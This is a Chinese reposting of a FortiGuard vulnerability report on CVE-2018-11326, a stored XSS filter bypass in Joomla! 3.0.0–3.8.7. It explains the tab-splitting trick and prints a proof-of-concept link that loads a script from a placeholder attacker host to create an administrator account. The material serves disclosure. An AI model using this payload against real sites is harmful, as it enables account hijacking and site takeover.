Joomla!发现核心 XSS 漏洞,附验证过程
Posted malwarebenchmark
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Joomla!发现核心 XSS 漏洞,附验证过程相关的知识,希望对你有一定的参考价值。
FortiGuard 实验室Zhouyuan Yang近期发布报告: Joomla!未能修补我(Zhouyuan Yang)以前发现的两个跨站点脚本 (XSS) 漏洞--CVE-2017-7985 和 CVE-2017-7986。
在向 Joomla 报告这个问题之后, 他们发布了一个补丁, 并在2017年的7月发布了一个单独的安全公告。但是这个单独的补丁还不能完全解决这个问题。之后, FortiGuard 又发现了一个绕过 Joomla 的新方法---在同一注入点上的 XSS ,此新漏洞号为CVE-2018-11326。
就像 CVE-2017-7985 和 CVE-2017-7986 一样, 这个新的注入点存在于前端, 下面是 "张贴或编辑文章" (post or edit an article)功能。
具有 post 或编辑权限的远程攻击者可以将恶意代码插入到 Joomla 中!然后在受害者浏览器的上下文中执行它。这样就可以让远程攻击者获得对受害者浏览器的控制权, 并劫持他们的 Joomla!帐户。
攻击者可以瞄准更高的权限 Joomla!帐户。成功建立的攻击最终可能允许远程攻击者接管整个网站。
这个新的漏洞影响了 Joomla!CMS 版本3.0.0 ——3.8.7。
在以前的Joomla!XSS补丁 解决了诸如 ":" 和 "%0d%0a" 等关键词的旁路问题。但没有解决特殊的 html 标签元素。
javascript 不会用插入的 " " 元素来break代码。例如, "javascript:alert(1)" 与 "java script:alert(1)" 相同, 但它没被 Joomla! XSS 补丁解决。
在这个分析中使用的 PoC 使用帐户 "yzy1", 它只有publisher权限, 不允许使用完整的 HTML 元素。
在插入测试代码之前, 将默认编辑器更改为 none, 以绕过 Joomla!前端 XSS 保护, 如图1所示。
打破 Joomla 的方法!XSS 筛选器是利用 HTML 选项卡元素, 例如将 "<a href="javascript:alert(document.domain)">Click Me</a>" 更改为 "<a href="javas cript:alert( document.domain )">Click Me</a>"。这样, 攻击者就可以绕过 Joomla!XSS 过滤和插入任意 JavaScript 代码。
插入的代码随后将在管理员页面中执行, 如图2和3所示。
POC:
“<a href="javas cript:var head= document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://ATTACKSERVER/joomlaAddAdmin.js';head.appendChild(script);">Click Me</a>”
当Joomla! 管理员访问包含插入代码的网页,会自动使用用户名'Fortinet Yzy'和密码'test'创建一个新的超级用户。
Joomla!是一套全球知名的内容管理系统,是使用php语言加mysql所开发的软件系统,目前最新版本是3.8。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年以来,Joomla连续多年成为CMS评奖的冠军。2015、2016、2017年在全球CMS评测中,它连续获得“最佳开源CMS”奖!
包括:麦当劳、哈佛大学等众多大型网站均使用了Joomla! 阿里云等也对其提供了支持。
因此,该漏洞影响不容小觑。
参见:
https://www.fortinet.com/blog/threat-research/incomplete-patch--another-joomla--core-xss-vulnerability-is-disc.html